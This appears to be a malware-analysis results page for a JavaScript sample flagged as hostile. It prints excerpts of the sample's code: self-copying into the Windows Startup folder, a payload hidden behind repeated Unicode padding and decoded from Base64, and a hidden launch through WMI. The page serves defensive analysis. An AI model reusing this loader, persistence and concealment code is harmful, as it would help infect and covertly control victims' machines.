Hostile 93% Download

virussign.com_13fd4fe2eaf4b64d46722777db277ff0.vir

WMI hidden process, obfuscated payload

Unicode-padded WSH loader launches a reflective payload through hidden WMIJavaScript self-copies to Startup
SHA-25645aaa9fa16af00ae8e40435dfeb7e4840196feb6f2ac528d352250f50bf1802e

Evidence

WSH resolves the Startup folder lines 1–18
1
2
3 var seiche = new ActiveXObject("Scripting.FileSystemObject");
4var islamist = new ActiveXObject("WScript.Shell");
5var rythmic = WScript.ScriptFullName;
6var protamphirhine = islamist.SpecialFolders("Startup");
7var homophobes = protamphirhine + "\\" + seiche.GetFileName(rythmic);
8if (rythmic.toLowerCase() !== homophobes.toLowerCase()) {
9 if (!seiche.FileExists(homophobes)) {
10 seiche.CopyFile(rythmic, homophobes);
11 }
12}
13
14
15 var allosteric = new ActiveXObject("WScript.Shell");
16 var nablock = allosteric.Environment("User");
17
18 var woobiefies = "Tᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎVᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎqᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎQᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎMᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎEᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎAᨽ੓ޔᾫ⣥⡁Üಘᔪ …
Unicode-delimited AppDomain token fragment line 55
55:28224… ���ᇎA��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����p��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����p��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����b��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����4��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����w��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����A��੓ޔ���� …
Joins array with a short delimiter lines 120–122
120:38… woobiefies.split("ᨽ੓ޔᾫ⣥⡁ÜಘᔪⒽ๦⯒೭💽ᇎ").join("");
121 var canceller, unreasonably, heterohexamer, compactified, planish;
122 unreasona …
Unicode-delimited Base64 decoder fragment line 141
141:3946… ���ᇎ:����ޔ������⡁Üಘ���Ⓗ๦⯒೭����:����ޔ������⡁Üಘ���Ⓗ๦⯒೭����F��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����r��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����o��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����m��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����B��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����a��੓ޔ������⡁Üಘ���Ⓗ๦⯒೭����s��੓ޔ���� …
WSH GetObject directory moniker lines 142–153
142:95… ᇎ").join("");
143
144 try {
145 var exoneurally = GetObject("winmgmts:\\\\.\\root\\cimv2");
146 var Babur = exoneurally.Get("Win32_ProcessStartup").SpawnInstance_();
147 Babur.ShowWindow = 0;
148
149 var Alfie = exoneurally.Get("Win32_Process");
150 Alfie.Create(amorphous, null, Babur, null);
151 } catch (e) {
152 allosteric.Run(amorphous, 0, true);
153 }

No evidence locations were recorded for this file. Raw result

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